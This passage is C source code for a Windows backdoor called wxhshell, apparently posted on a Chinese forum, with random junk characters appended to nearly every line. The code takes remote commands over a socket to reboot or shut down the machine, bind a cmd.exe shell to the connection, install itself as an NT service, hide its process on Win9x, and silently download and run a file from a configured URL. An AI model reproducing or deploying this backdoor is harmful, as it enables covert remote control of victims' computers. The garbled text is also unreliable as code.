      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Kwg4sr5"D  
    break; l PK +$f$  
  } ,=|ZB4HA  
  // 安装 + j W1V}h  
  case 'i': { QoG cWJ  
    if(Install()) 1;mW,l'`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 72oF,42y  
    else /ig:9R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Um: Hrjw  
    break; dO4{|(z  
    } C\di7z:  
  // 卸载 !kE-_dY6)  
  case 'r': { ;ByOth|9P  
    if(Uninstall()) /6h(6 *JI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hrhb!0  
    else Xt#4/>dlR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qt;y2gf=  
    break; ~R &;v3  
    } #_(jS+lP?k  
  // 显示 wxhshell 所在路径 5JLu2P  
  case 'p': { #:^YI c  
    char svExeFile[MAX_PATH]; :@!ic<p  
    strcpy(svExeFile,"\n\r"); l?Fb ='#  
      strcat(svExeFile,ExeFile); yRiP{$E  
        send(wsh,svExeFile,strlen(svExeFile),0); &'DU0c&  
    break; ngat0'oa  
    } /l<<_uk$  
  // 重启 1$81E.  
  case 'b': { V 2i@.@$j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )I$q5%q8  
    if(Boot(REBOOT)) w );6K[+;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); * ;Cy=J+  
    else { 6p?JAT5  
    closesocket(wsh); \@1=stK:F  
    ExitThread(0); k:#P|z$UD  
    } ,iv|Pq $!  
    break; @$2))g`  
    } %o:2^5\W  
  // 关机 I<8sI%,s  
  case 'd': { |7}C QU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a'jR#MQl?  
    if(Boot(SHUTDOWN)) >+ 4huRb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9`w)  
    else { HH@qz2w  
    closesocket(wsh); ^>N]H>0'S  
    ExitThread(0); h?FmBK'BAd  
    } L[20m (6?  
    break; NbGV1q']  
    } |R#"Th6mH!  
  // 获取shell BYo/57&:  
  case 's': { nYa*b=[.  
    CmdShell(wsh); #~.w&~ :  
    closesocket(wsh); K.z64/H:  
    ExitThread(0); u*#ZXW  
    break; Hw-Z  
  } NM6Teu_  
  // 退出 P b]3&!a  
  case 'x': { e4z1`YLsG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^=^z1M 2P  
    CloseIt(wsh); k!KDWb  
    break; -~QHqU.  
    } 8-Hsgf.*  
  // 离开 Z+StB15  
  case 'q': { 3:f[gV9K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r@o6voX  
    closesocket(wsh); XFh>U7z.  
    WSACleanup(); DmBS0NyR7Y  
    exit(1); ZKOXI%~Mc  
    break; _"#!e{N|  
        } "/nNM{^  
  } !E-Pa5s  
  } f uB)qt!E  
CCX8>09  
  // 提示信息 V86Xg:?7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =07]z@s  
} 2"d!(J6}K  
  } u]ZqOJXxu  
KV*xApb9y  
  return; }irn'`I  
} bC3 F  
4ON_$FUe  
// shell模块句柄 _%x4ty  
int CmdShell(SOCKET sock) i]#+1Hf  
{ X2xuwA  
STARTUPINFO si; *\o/q[  
ZeroMemory(&si,sizeof(si)); 1<h>B:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vm|Y$ C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [M%9_CfZOy  
PROCESS_INFORMATION ProcessInfo; p*8-W(u)  
char cmdline[]="cmd"; \6 93kQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3tmdi3s  
  return 0; #%FN>v3e  
} 3w!c`;c%  
}=2;  
// 自身启动模式 7rC uu*M  
int StartFromService(void) PDLpNTBf  
{ {h KjD"?  
typedef struct \G2B?>E;  
{ P@]8pIB0d^  
  DWORD ExitStatus; wCHR7X0*b  
  DWORD PebBaseAddress; 033T>qY  
  DWORD AffinityMask; ,\aUq|~  
  DWORD BasePriority; !gmH$1w  
  ULONG UniqueProcessId; 7HHysNB"w  
  ULONG InheritedFromUniqueProcessId; 0ilCS[`b  
}   PROCESS_BASIC_INFORMATION; DS -fjH\  
0K-*WQ*#9  
PROCNTQSIP NtQueryInformationProcess; \@;\t7~  
'/I:^9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n6(.{M;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tdF9NFMD  
A~dQ\M  
  HANDLE             hProcess; L}yyaM)  
  PROCESS_BASIC_INFORMATION pbi; gBf4's  
o|j*t7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IjfxR mV  
  if(NULL == hInst ) return 0; $j 5,%\4<  
"aF8l<1xn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R <"6ojn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oQ7]= |  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zLD|/`  
/V?H4z[G  
  if (!NtQueryInformationProcess) return 0; {gKN d*[*  
]}UgS+g>$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =ORf%f5"'  
  if(!hProcess) return 0; "|m|E/Z-9  
ZCg`z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $oLU; q%  
pU!o7>p  
  CloseHandle(hProcess); IAOcKQ3  
h)v^q: ='  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Oc&),ru2l  
if(hProcess==NULL) return 0; v[lnw} =m9  
&-1./?  
HMODULE hMod; K{l5m{:%  
char procName[255]; S }>n1F_  
unsigned long cbNeeded; cMzkL%  
\NqEw@91B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `E\imL  
b59{)u4F  
  CloseHandle(hProcess); 3qQUpm+  
= zl= SLe  
if(strstr(procName,"services")) return 1; // 以服务启动 ?R5'#|EyX  
)n=ARDd^e  
  return 0; // 注册表启动 ?_`0G/xl  
} 1 11D3  
$A}QY5`+~S  
// 主模块 M"_FrIO  
int StartWxhshell(LPSTR lpCmdLine) jFerYv&K~  
{ PVa o  
  SOCKET wsl; <TNk?df7  
BOOL val=TRUE; ^\:2}4Uj_  
  int port=0; jvzBh-!  
  struct sockaddr_in door; * \HRw +cL  
o;[bJ Z\^x  
  if(wscfg.ws_autoins) Install(); [k]|Qi nk  
nVD Xj  
port=atoi(lpCmdLine); Yn9j-`  
vRPS4@9'  
if(port<=0) port=wscfg.ws_port; }xFi& <  
-iCcoA  
  WSADATA data; RH~3M0'0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r?l;I3~  
 <1&Ke  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yW.COWL=)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L<(VG{)Z  
  door.sin_family = AF_INET; Zwe[_z!*D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k*-NsNPw$  
  door.sin_port = htons(port); x:t<ZG&Xwg  
Ewo*yY>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (3*UPZv  
closesocket(wsl); &2EBk=X  
return 1; nE y]`  
} ODf4+& u  
*(cU]NUH_  
  if(listen(wsl,2) == INVALID_SOCKET) { YYRT.U'  
closesocket(wsl); !ax;5@J  
return 1; ^t'3rft  
} &k T"oK  
  Wxhshell(wsl); F3ZxhkF  
  WSACleanup(); J -Qh/d%]  
i9UI,b%X  
return 0; LNQSb4  
wUi(3g|A  
} sa1mC  
?kt=z4h9(  
// 以NT服务方式启动 jnoL2JR[=-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 30FykNh  
{ ~_!ts{[E  
DWORD   status = 0; &WZP2Q|  
  DWORD   specificError = 0xfffffff; MY-.t-3  
a%hGZCI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G+)?^QTn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YDiN^q7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {@M14)-x>_  
  serviceStatus.dwWin32ExitCode     = 0; FQf #*  
  serviceStatus.dwServiceSpecificExitCode = 0; GH'O! }  
  serviceStatus.dwCheckPoint       = 0; {TZE/A3D,  
  serviceStatus.dwWaitHint       = 0; N_C_O$j  
<?$kI>Ot  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H?}wl%  
  if (hServiceStatusHandle==0) return; -Gsl[Rc0H;  
.R5/8VuHF  
status = GetLastError(); NcL =z o<  
  if (status!=NO_ERROR) lVeH+"M?  
{ ~SV Q;U)-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $<e +r$1  
    serviceStatus.dwCheckPoint       = 0; J(d2:V{h  
    serviceStatus.dwWaitHint       = 0; qmmv7==  
    serviceStatus.dwWin32ExitCode     = status; Q?;C4n4]l  
    serviceStatus.dwServiceSpecificExitCode = specificError; L2U x9_S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GYgWf1$8_D  
    return; da*9(!OV  
  } lSc,AOXp  
|l90g|isJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Sa] mm/ G  
  serviceStatus.dwCheckPoint       = 0; &]nd!N  
  serviceStatus.dwWaitHint       = 0; 6MrKi|'X@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |}qjqtZ  
}  a@|.;#FF  
\; bW h  
// 处理NT服务事件,比如:启动、停止 dE>v\0 3!8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3kLOoL?  
{ - s|t^  
switch(fdwControl) ~eo^`4O{{  
{ @ t@|q  
case SERVICE_CONTROL_STOP: ZBj6KqfST%  
  serviceStatus.dwWin32ExitCode = 0; Js}tZ\+P75  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0|2%#  E  
  serviceStatus.dwCheckPoint   = 0; *5wv%-  
  serviceStatus.dwWaitHint     = 0; 3c 28!3p  
  { Qp&?L"U)2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !b%,'fy)  
  } ||a`fH  
  return; +)-d_K.(k  
case SERVICE_CONTROL_PAUSE: -Uf4v6A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Tcs3>lJ}   
  break; /8p&Qf>lJ1  
case SERVICE_CONTROL_CONTINUE: f-vK}'Z`,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1PU*:58[  
  break; C MqM;1  
case SERVICE_CONTROL_INTERROGATE: }Z6nN)[|0Y  
  break; h Z#\t  
}; -]&<Sr-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fjkT5LNx k  
} psD[j W  
R+^zy"~  
// 标准应用程序主函数 @+0V& jc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T` ;k!F46  
{ X'2Gi  
JfKg_&hM  
// 获取操作系统版本 jI#z/a!j:  
OsIsNt=GetOsVer(); ^@ UjQ9[>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <t6 d)mJ%  
m9g^ -X  
  // 从命令行安装 =n }Yqny  
  if(strpbrk(lpCmdLine,"iI")) Install(); f)tc4iV  
~\bHfiIDy  
  // 下载执行文件 Fhi5LhWe+.  
if(wscfg.ws_downexe) { ` Y\QUj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1OPfRDn.bk  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8g5.7{ky  
} [Ye5Y?  
~D!ESe*=  
if(!OsIsNt) { 8Xk Ik7  
// 如果时win9x,隐藏进程并且设置为注册表启动 F25<+ 1kr  
HideProc(); sVD([`Nmc  
StartWxhshell(lpCmdLine); j}RM.C\7  
} akrCs&Kka5  
else tD^a5qPh  
  if(StartFromService()) ^HoJ.oC/  
  // 以服务方式启动 5|m9:Hv[#  
  StartServiceCtrlDispatcher(DispatchTable); J]]\&MtaO  
else % 9YA^ri  
  // 普通方式启动 (lWKy9eTy`  
  StartWxhshell(lpCmdLine); 1?]J;9p  
QZYM9a>  
return 0; DD6'M U4  
}
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只看该作者 1 发表于: 2006-10-10
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